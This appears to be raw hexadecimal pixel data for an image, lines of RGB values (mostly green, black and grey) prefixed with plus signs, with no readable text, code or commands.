+0000007ECE2F8AE23480D23087DE338AE2348AE23463A2250000000000000000000000006FB72A +8AE23481D331030501000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000007ECE2F8AE234 +80D23087DE338AE2348AE23463A2250000000000000000000000006FB72A8AE23481D331030501 +000000000000000000548A2086DB326DB229619F257FD0308AE2344B7A1C00000000000044701A +8AE2348AE2347ECF307BCA2E8AE2348AE2340B120400000000000079C72E8AE23427400F000000 +00000000000000000000000000000022380D8AE2348AE2348AE234263E0E000000000000000000 +44701A8AE2348AE2347ECF307BCA2E8AE2348AE2340B120400000000000079C72E8AE23427400F +00000000000000000000000000000000000000000064A3268AE23466A726000000000000000000 +0000007ECE2F8AE23480D23087DE338AE2348AE23463A2250000000000000000000000006FB72A +8AE23481D331030501000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +7AC72E8AE2347ECF306AAE285B952200000000000066A7268AE23436591400000027400F8AE234 +75BF2C00000000000000000079C72E8AE23427400F00000000000000000000000000000044701A +8AE2348AE2347ECF307BCA2E8AE2348AE2340B1204090E0380D2308AE234568C203C61167BCA2E +8AE2348AE2340F1906000000609D248AE2347FD03067A82786DB328AE23482D531000000000000 +00000000000064A3268AE23466A7260000000000000000000000000000000000007AC72E8AE234 +7ECF306AAE285B9522000000000000578E218AE234619F250000005D98238AE2345C9723000000 +0000000000000000007AC72E8AE2347ECF306AAE285B9522000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000578E218AE234619F250000005D98238AE2345C9723000000000000548A2086DB32 +6DB229619F257FD0308AE2344B7A1C000000000000548A2086DB326DB229619F257FD0308AE234 +4B7A1C00000000000000000000000064A3268AE23466A7260000000000000000000000007ECE2F +8AE23480D23087DE338AE2348AE23463A2250000000000000000000000006FB72A8AE23481D331 +030501000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000375A15 +71B92B86DC3383D63172BB2B4A791C040601253D0E8AE23489E03418280900000015230888DF33 +8AE2342A44100000007ECE2F8AE2343151136DB22986DC3366A7260F1906000000000000000000 +0000001929096BAF2885DA328AE2348AE234020401000000000000395D1577C22D87DE3377C32D +3C611600000000000000000084D8328AE2348AE2348AE2348AE2348AE2348AE2344A791C000000 +000000000000243B0E70B72A86DC338AE23477C32D00000000000000000000000064A3268AE234 +66A7260000000000000000000000007ECE2F8AE2343151136DB22986DC3366A7260F1906000000 +00000066A7268AE23436591400000027400F8AE23475BF2C0000000000007ECE2F8AE234315113 +6DB22986DC3366A7260F1906000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000066A7268AE23436591400000027400F +8AE23475BF2C000000000000000000375A1571B92B86DC3383D63172BB2B4A791C040601000000 +000000000000243B0E70B72A86DC338AE23477C32D00000000000021360C6DB32985DA327AC72E +3658148AE2348AE2340F19060000007ECE2F8AE2343151136DB22986DC3366A7260F1906000000 +00000084D8328AE2348AE2348AE2348AE2348AE2348AE2344A791C000000000000000000000000 +0000000000000000000000000000000000002D4A1166A8277ECF3087DD337BC92E50821E050902 +0000000000000000000E170558902180D13085DA3271B92B345514000000000000000000375A15 +71B92B86DC3383D63172BB2B4A791C04060100000066A7268AE23436591400000027400F8AE234 +75BF2C00000000000021360C6DB32985DA327AC72E3658148AE2348AE2340F1906000000000000 +79C72E8AE23427400F00000000000000000000000000000084D8328AE2348AE2348AE2348AE234 +8AE2348AE2344A791C000000000000395D1577C22D87DE3377C32D3C6116000000000000000000 +00000000000064A3268AE23466A7260000000000000000000000007ECE2F8AE2343151136DB229 +86DC3366A7260F19060000000000000000000000004B7A1C8AE23453881F000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000007ECE2F8AE2343151136DB22986DC3366A7260F1906 +0000000000000000000000004B7A1C8AE23453881F0000000000000000000000002D4A1166A827 +7ECF3087DD337BC92E50821E050902000000000000000000375A1571B92B86DC3383D63172BB2B +4A791C04060100000000000079C72E8AE23427400F000000000000000000000000000000000000 +02040182D5318AE23485D932040601000000000000000000000000375A1571B92B86DC3383D631 +72BB2B4A791C04060100000000000079C72E8AE23427400F000000000000000000000000000000 +00000000000064A3268AE23466A7260000000000000000000000007ECE2F8AE2343151136DB229 +86DC3366A7260F19060000000000000000000000004B7A1C8AE23453881F000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000243B0E70B72A86DC338AE23477C32D +00000000000066A7268AE23436591400000027400F8AE23475BF2C00000000000000000079C72E +8AE23427400F000000000000000000000000000000000000375A1571B92B86DC3383D63172BB2B +4A791C04060100000021360C6DB32985DA327AC72E3658148AE2348AE2340F19060000000E1705 +65A62686DC3372BB2B375A158AE23482D53100000000000000000000000064A3268AE23466A726 +000000000000000000000000000000000000243B0E70B72A86DC338AE23477C32D000000253D0E +8AE23489E03418280900000015230888DF338AE2342A4410000000000000000000243B0E70B72A +86DC338AE23477C32D000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000253D0E8AE23489E034182809 +00000015230888DF338AE2342A44100000002D4A1166A8277ECF3087DD337BC92E50821E050902 +0000000000002D4A1166A8277ECF3087DD337BC92E50821E050902000000000000000000000000 +64A3268AE23466A7260000000000000000000000007ECE2F8AE2343151136DB22986DC3366A726 +0F19060000000000000000000000004B7A1C8AE23453881F000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000007ECE2F8AE234 +20350C000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE23420350C000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE23420350C000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000000000 +00000004060177C32D8AE23422370D000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE23420350C00000000000000000000000000000000000000000004060177C32D +8AE23422370D000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000000000 +00000004060177C32D8AE23422370D000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000007ECE2F8AE23420350C000000000000000000000000000000000000000000040601 +77C32D8AE23422370D000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000007ECE2F8AE23420350C000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE23420350C000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000162308 +162308162308162308162308162308162308162308162308010100000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000007ECE2F +8AE23420350C000000000000000000000000000000060B0268AA277AC72E8AE23470B72A000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000 +000000000000000000000000060B0268AA277AC72E8AE23470B72A000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000007ECE2F +8AE23420350C000000000000000000000000000000060B0268AA277AC72E8AE23470B72A000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C +000000000000000000000000000000060B0268AA277AC72E8AE23470B72A000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE23420350C000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000007ECE2F8AE23420350C000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000007ECE2F8AE23420350C000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000008AE2348AE2348AE2348AE2348AE2348AE234 +8AE2348AE2348AE234040702000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000007ECE2F8AE23420350C000000000000000000 +000000000000090E038AE23489E1346FB62A162308000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000090E03 +8AE23489E1346FB62A162308000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000007ECE2F8AE23420350C000000000000000000 +000000000000090E038AE23489E1346FB62A162308000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000 +090E038AE23489E1346FB62A162308000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000002D4A112D4A112D4A112D4A112D4A112D4A112D4A112D4A112D4A11010200000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000027400F8AE23477C32D000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000027400F8AE23477C32D000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +27400F8AE23477C32D000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000064A3268AE2343A6016000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000001C2E0B +8AE23482D531000000000000000000000000000000000000000000000000000000000000000000 +00000000000027400F8AE23477C32D000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000304E128AE2348AE2348AE23488DF33000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000304E128AE2348AE2348AE23488DF33000000 +0000000000000000000000000000000000000000000000001C2E0B8AE23482D531000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000027400F8AE23477C32D000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000407028AE2348AE2348AE234 +87DE3378C42D4B7A1C0508020000000000006AAE288AE2348AE2348AE2348AE2348AE2348AE234 +060B0200000000000001010081D3318AE23483D6310203010000000000000000008AE2348AE234 +88DE337CCB2F5B9522192A0A0000000000003455148AE2348AE2342D4A110000002B47108AE234 +8AE234385C150000006AAE288AE2348AE2348AE2348AE2348AE2348AE234060B02000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000060B0245711A +45711A03050100000000000000000000000000000000000027400F8AE23477C32D000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +060B0245711A45711A030501000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000060B0245711A45711A030501000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000064A3268AE234 +3A6016000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000001C2E0B8AE23482D531000000000000000000 